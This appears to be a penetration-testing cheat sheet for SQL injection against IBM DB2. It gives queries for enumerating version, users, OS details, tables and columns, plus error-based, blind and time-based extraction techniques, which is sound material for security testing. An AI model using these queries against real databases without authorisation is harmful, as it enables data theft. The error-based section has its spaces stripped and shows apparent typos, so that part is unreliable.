IBM DB2 is a family of relational database management systems (RDBMS) developed by IBM. Originally created in the 1980s for mainframes, DB2 has evolved to support various platforms and workloads, including distributed systems, cloud environments, and hybrid deployments.
Core system catalog tables storing metadata for database objects.
SYSCAT
User-friendly views for accessing metadata in the SYSIBM tables.
SYSSTAT
Statistics tables used by the DB2 optimizer for query optimization.
SYSPUBLIC
Metadata about objects available to all users (granted to PUBLIC).
SYSIBMADM
Administrative views for monitoring and managing the database system.
SYSTOOLs
Tools, utilities, and auxiliary objects provided for database administration and troubleshooting.
DB2 Enumeration
Description
SQL Query
DBMS version
select versionnumber, version_timestamp from sysibm.sysversions;
DBMS version
select service_level from table(sysproc.env_get_inst_info()) as instanceinfo
DBMS version
select getvariable('sysibm.version') from sysibm.sysdummy1
DBMS version
select prod_release,installed_prod_fullname from table(sysproc.env_get_prod_info()) as productinfo
DBMS version
select service_level,bld_level from sysibmadm.env_inst_info
Current user
select user from sysibm.sysdummy1
Current user
select session_user from sysibm.sysdummy1
Current user
select system_user from sysibm.sysdummy1
Current database
select current server from sysibm.sysdummy1
OS info
select os_name,os_version,os_release,host_name from sysibmadm.env_sys_info
DB2 Methodology
Description
SQL Query
List databases
SELECT distinct(table_catalog) FROM sysibm.tables
List databases
SELECT schemaname FROM syscat.schemata;
List columns
SELECT name, tbname, coltype FROM sysibm.syscolumns
List tables
SELECT table_name FROM sysibm.tables
List tables
SELECT name FROM sysibm.systables
List tables
SELECT tbname FROM sysibm.syscolumns WHERE name='username'
DB2 Error Based
-- Returns all in one xml-formatted stringselectxmlagg(xmlrow(table_schema))fromsysibm.tables-- Same but without repeated elementsselectxmlagg(xmlrow(table_schema))from(selectdistinct(table_schema)fromsysibm.tables)-- Returns all in one xml-formatted string.-- May need CAST(xml2clob(… AS varchar(500)) to display the result.selectxml2clob(xmelement(namet,table_schema))fromsysibm.tables
DB2 Blind Based
Description
SQL Query
Substring
select substr('abc',2,1) FROM sysibm.sysdummy1
ASCII value
select chr(65) from sysibm.sysdummy1
CHAR to ASCII
select ascii('A') from sysibm.sysdummy1
Select Nth Row
select name from (select * from sysibm.systables order by name asc fetch first N rows only) order by name desc fetch first row only
Bitwise AND
select bitand(1,0) from sysibm.sysdummy1
Bitwise AND NOT
select bitandnot(1,0) from sysibm.sysdummy1
Bitwise OR
select bitor(1,0) from sysibm.sysdummy1
Bitwise XOR
select bitxor(1,0) from sysibm.sysdummy1
Bitwise NOT
select bitnot(1,0) from sysibm.sysdummy1
DB2 Time Based
Heavy queries, if user starts with ascii 68 ('D'), the heavy query will be executed, delaying the response.